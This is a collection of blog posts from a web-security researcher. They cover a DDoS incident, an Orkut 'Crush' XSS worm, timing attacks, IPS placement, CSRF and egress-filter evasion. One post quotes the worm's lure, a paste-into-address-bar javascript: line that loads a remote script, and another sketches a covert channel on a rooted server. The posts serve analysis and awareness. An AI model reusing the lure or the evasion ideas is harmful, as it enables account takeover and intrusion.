Well, it was a long Sunday. I was planning on going and hitting some balls on the golf course, but no, instead I spent the better part of the day dealing with a DDoS attack. Before it was completely killed 73 IPs were used to perform a flood of GET requests against sla.ckers.org. Thankfully we were able to thwart the attack by writing some tricky software to detect the attack and firewall it. But it was still the better part of a day dealing with it.

The end result was we found the attacker (the owner of www.au-p2p.info who apparently was made fun of at some point a year ago on the board). When pride goes too far, eesh! More on this user here. Cyberhacker665 is in at least some way affiliated with or owns evilzone.org. The attacker did a vanity search for himself before initiating the attack. The original IP was tracked back to the attacker’s ISP, who was sent an abuse email and now the user is offline for the time being. We effectively DoSed the DDoSer. It’s too bad, I had long forgotten about that post - apparently he hasn’t.

This wasn’t the first high volume traffic incident we’ve received (we’ve been slashdotted several times, and reached the front page of Digg and Reddit as well) and we get tons of attacks per day. But this was probably one of the worst. Just another day on ckers.org… Golfing would have been better use of a Sunday, even if I suck at it.

Anurag is the man behind a new web application security certification. Offered as a joint WASC/SANS cert, it’s aiming to be the de-facto web application certification program for people in our field. Regulating the industry may not be all that bad of an idea, given that I see more bad security people than good. But beyond that it’s cool to see the industry growing up where it needs full fledged certification.

Anyway, if you want to have some input on things that you’d like to see in the cert, now’s your chance. Click the link above and go to his surveymonkey link and spend a few minutes filling it out if this is at all interesting to you. Speak now or forever hold your peace.

Now the real question is, I wonder if I’ll pass this cert. Hey, Anurag, can I get some sort of an exemption? I never was very good at test taking!

I’m a little behind the times, catching up on my email, but I thought I’d post this first since it’s probably some of the most interesting stuff. Keyshor just sent me an interesting snippet related to another Orkut worm that I’m affectionately calling “Crush” given the mode of transport, which is the Orkut crush. Here’s Keyshor’s email (cleaned up slightly):

This is the vulnerable scrap

Find out who has crush on u….
wait 4 few minutes after pressing enter
Author–> Coder http://www.orkut.com/Profile.aspx?uid=12437994075478369725>:)
Just copy the JavaScript, paste it in your address bar and PRESS ENTER

*javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://002292.googlepages.com/crush.js';void(0)*

Trust me, ITS WORKING!!!

The site is down now, but I threw up the JavaScript source in the list of XSS worms so people could check it out. I was able to pull another version that was still alive here. It also appears that it may at least at one point have been a greasemonkey plugin by the headers, which is an interesting way to debug your DHTML malware, I suppose. Anyway, great snippet for those who want to do some more analysis.

I’ve been meaning to post this since Blackhat last year, but I just finally got around to posting a working example. Using David Byrne’s res:// timing trick and a hybrid of Jeremiah’s META refresh blocking I was able to do the same thing David was but without JavaScript. Oh how funky it is though!

Here’s the demo (only works in IE7.0). The timing is large enough so that you can actually see a difference (varies between a 5 and 15 second difference for me per link - for reasons I am still unsure of). But it’s a big enough difference that it should be possible to measure the file’s presence. The hard part is keeping it going without a user noticing that their browser locked up on them for the many seconds required to run. Pretty funky demo, and normally I’d probably set a cookie to keep the data but I got bored of writing the demo since I don’t think it’s especially practical. But you get the idea.

In other news, I should also mention that I got back from the Minnesota OWASP meeting. I was really surprised to see how many people came out to see me (probably 75 or so). All really nice people and I was impressed by Kuai and the entire setup. Very nicely done. I think my slides will be posted today or tomorrow. I guess Bruce Schneier spoke there the month before I did, so these guys definitely have got their eye on the heavy hitters for those of you on the speaking circuit. I also spoke on Minnesota Public Radio as well, which was kinda fun. I hope it continues to grow!

I missed Schmoocon and DC Blackhat but here is the unofficial list of my upcoming cons: Source Boston (leading a panel), RSACon 2008 (just visiting), TRISC (speaking), Secure360 (speaking - unconfirmed), Super Secret SANS Conference to be talked about at a later date (speaking), OWASP Denver (speaking - unconfirmed), World OWASP NYC 2008 (speaking). So yah, busy busy busy…

I’ve wrestled with the concept of inline devices to stop attacks for a long time. Disclaimer: no names of companies will be used in this post. However, there are legitimate reasons both to have inline devices and not to as well. Let’s look at the cons of inline security protection devices for a moment. The major cons of an out of band device have to do with high availability and throughput. In many networks even a fraction of a second delay is totally unacceptable. Packet loss is a non-starter too so an inline device must be able to handle the throughput that the pipe can generate (potentially gig line speeds). Also, the device cannot create a single point of failure, often requiring double the hardware for inline devices, which makes out of line boxes potentially more cost effective (assuming the cost of the switch, for the span port, or tap isn’t too high). Those things combine to make a pretty complex solve if you are determined to have an inline device.

Now the advantages of inline devices is that they can decelerate SSL traffic without requiring an extra external SSL accelerator and that they can see everything and potentially block anything that they detect as malicious. Let’s look at the difference in how an out of band IPS/WAF type device would have to work. Either it can make firewall rule entries by connecting to the firewall in front of the web application or it uses the China method of RST packets in one or both directions. Now, let’s dissect that scenario for a second.

For XSS this isn’t a terrible solution. RST packets in both directions means that anyone getting duped into clicking a link won’t see the resultant malicious JavaScript return to them. That’s great! Now let’s take SQL injection. There are two types of SQL injection that should be considered. The first is where I want to dump all the results from a database, or set my user account to be something other than what it should be which gives me a different sort of auth cookie - both require something to be sent back to the attacker, and because HTTP is a noisy protocol it’s totally feasible that it could block the packet before it’s sent. The other is where I want to change a password, or drop a table - where the attacker doesn’t need to get any result back. The same is true with remote file includes, or command injection. In each of those cases, the resultant request is not necessarily important for the attacker to “see” the results from the same IP address that they were attacking from. In fact, they could easily be different IPs, on unrelated ports, or at different times of day, etc…

So out of line security devices have a severe dis-advantage when it comes to the latter injection attacks (which can often be far more dangerous than the former attacks that involve reflected results). Attackers have long known how to use different IP addresses when necessary, so I don’t see any reason why they couldn’t do so in this case to evade the device or firewall rule. Not to mention firewall rules can often end up blocking lots of innocent people who happen to be behind the same NAT. So for my money, it looks like inline devices win that round - if throughput isn’t a major concern.

Further, there is another hidden problem here. Let’s say an attacker is unsure if an active security device is in place (either inline or out of line - it doesn’t matter), but doesn’t want to get erroneous results when testing. All the attacker would have to do is intentionally send something they would know should be blocked by any decent signature, and listen for a RST packet (if it is a device that sends one to you) or wait for nothing to be returned, (if it is the kind that sends the RST packet to the server or outright blocks the connection). With a large enough sample size of various default signatures, it’s possible to do actual versioning of the exact devices as well.

Enter the dawn of IPS/WAF fingerprinting. Code samples welcome.

Arian Evans has sent me a few emails on this, so to get him off my back I’m going to do a quick post about CSRF (Cross Site Request Forgeries). Yes, it’s real, it’s used, and it’s far more dangerous than most people give it credit for. First, let’s re-cap the news. A CSRF in Gmail allowed some poor guy’s domain to get hijacked. Not too surprising, knowing how poor Google’s security is. Now, how about this one where a pharming attack was spotted in the wild that leveraged CSRF to take over victims’ routers and send all packets bound for a Mexican banking site instead to the attacker. Zulfikar Ramzan at Symantec fails to mention that much of that concept was based on my original technique which was to for the purpose of “breaking into a router” in his previous post, but alas. I like Zulfikar, so I won’t harp on him too much for missing that one.

I cannot stress more how dangerous CSRF is. “One click attacks” are not even one click in most cases. You can simply visit a web board and instead of seeing an off domain image, you are invisibly having your router get re-routed, your credit card that’s on file with XYZ.com being used for purchases, your user preferences or passwords get changed and so on. I’ve seen a number of examples of CSRF in the wild now beyond this (it’s even been used against me), and I see no reason to believe this attack is going to decrease in likelihood or as a threat in general anytime in the near future. CSRF is here to stay. It’s how the Internet was built and it’s not changing any time in the near future.

I got an email from Schmoilito about some posts he did regarding Intranet hacking. Check them out here and here. There’s quite a bit of content there, surrounding how MSXML can be used to hack not Intranets, but local files as it provides a more robust infrastructure for doing local file reading. MSXML.XMLHTTP apparently doesn’t just pull remote files, but it can also be used to pull in file:// and read from local disc! Whoops! Time to lock that down if you use it. I guess we never really thought about zone escalation in a website’s requests. Erg!

The second post talks more about using timing attacks to do enumeration of open ports on the remote system, which I did cover in the comments of the original post on this topic. It’s cool to see that someone has been able to see and re-produce my theoretical attack in the lab. I have a feeling we’re going to end up seeing a lot more of these types of things in the wild. Nasty. Nice job, Schmoilito!

It’s been a long week but it’s not for naught. Lots to talk about, but not a lot of time to write it all. So let’s start with something I’ve been toying with for the last few days. Dan Kaminksy is one of those guys who is always looking for ways to build bit torrent with whatever technologies are available. It suddenly occurred to me that it’s actually possible under some very specific circumstances with existing technologies and a little trickery to use someone’s browser as a seeder in a convoluted scenario where you need to transfer a file to many people at the same time but bandwidth is at a premium.

So, welcome to building subversive file sharing with client side applications. The first question id asked me was if I was going to build it and speak about it at Blackhat or something. The answer is emphatically no way. It would take quite a bit of work to build it in any sort of reliable way (it’s not above the readers of this site, I’m sure, but it’s well outside of the time I have to devote to something like this). Anyway, in case anyone was wondering, yes, you can build file sharing in JavaScript. Painful, yes, but definitely possible.

I was working on a client a week ago or so and we completely compromised their network. It’s a fairly common occurrence during an audit (given there are logistical reasons that make many common techniques off limits). It was mission accomplished for showing the vulnerabilities in the client. However, I started thinking about the firewall egress filtering, or lack thereof. Granted, creating a reverse shell is fairly straight forward, but what if the situation was slightly different. What if there was egress filtering and I ended up rooting a web server? And in this situation let’s pretend that it was set up so that all that’s allowed out is port 80 and 443. What now? I can’t kill the web server, or people will certainly notice, and I can’t tunnel out on any other ports which are already locked up by the web server, so what alternative do I have?

Sure, I could use some of the modern rootkits that talk outside of the TCP by sending single packets but some anti-DDoS boxes out there stop that sort of connection from even hitting a box. They do this for flood protection. They wait for a full TCP state to be initiated before they connect to the web server behind them (similar to a proxy server actually).

Here’s where some programming skill could come into play. Why not re-program a web-server to also listen as if it were an IRC server or telnet or something else for back and forth real-time communication. We already have root access, so it’s easy enough to start and stop the process. It’s also fairly easy with some programming to create a switch in the code, to look for a different string and jump into a different mode. It could be a clever way around a fairly complex set of circumstances. Anyway, yet another odd thought.

There’s a really interesting case being talked about over at the Washinton Post regarding a man who is accused of having downloaded child pornography on his computer and then encrypting it using PGP. This actually has some pretty interesting and wide-reaching implications for citizens in the US. Either a) he has to release the password and self-implicate (assuming he is guilty) b) lie under oath or c) find himself under contempt. This is a tough one.

Personally, I’d feel very uncomfortable holding up freedoms to save a pedophile, but at the same time, there are all kinds of legitimate reasons I may want to encrypt data (I do it all the time for customers, for instance). But maybe a guy has cheated on his wife and doesn’t want anyone to know about it. Or maybe he has a furry fetish and has hopes for a political campaign some day. I’m pretty torn on this issue, unfortunately because regardless of the outcome it can end up being a bad thing. I wish I could call this one a cut and dry case. But either way the outcome will be worth finding out about because either it will be a matter of imprisonment for contempt or a safe haven for anyone doing anything illegal. This will be a landmark case for our industry in many ways, for good or for bad.

Ugh… either way this one leaves a bad taste in my mouth.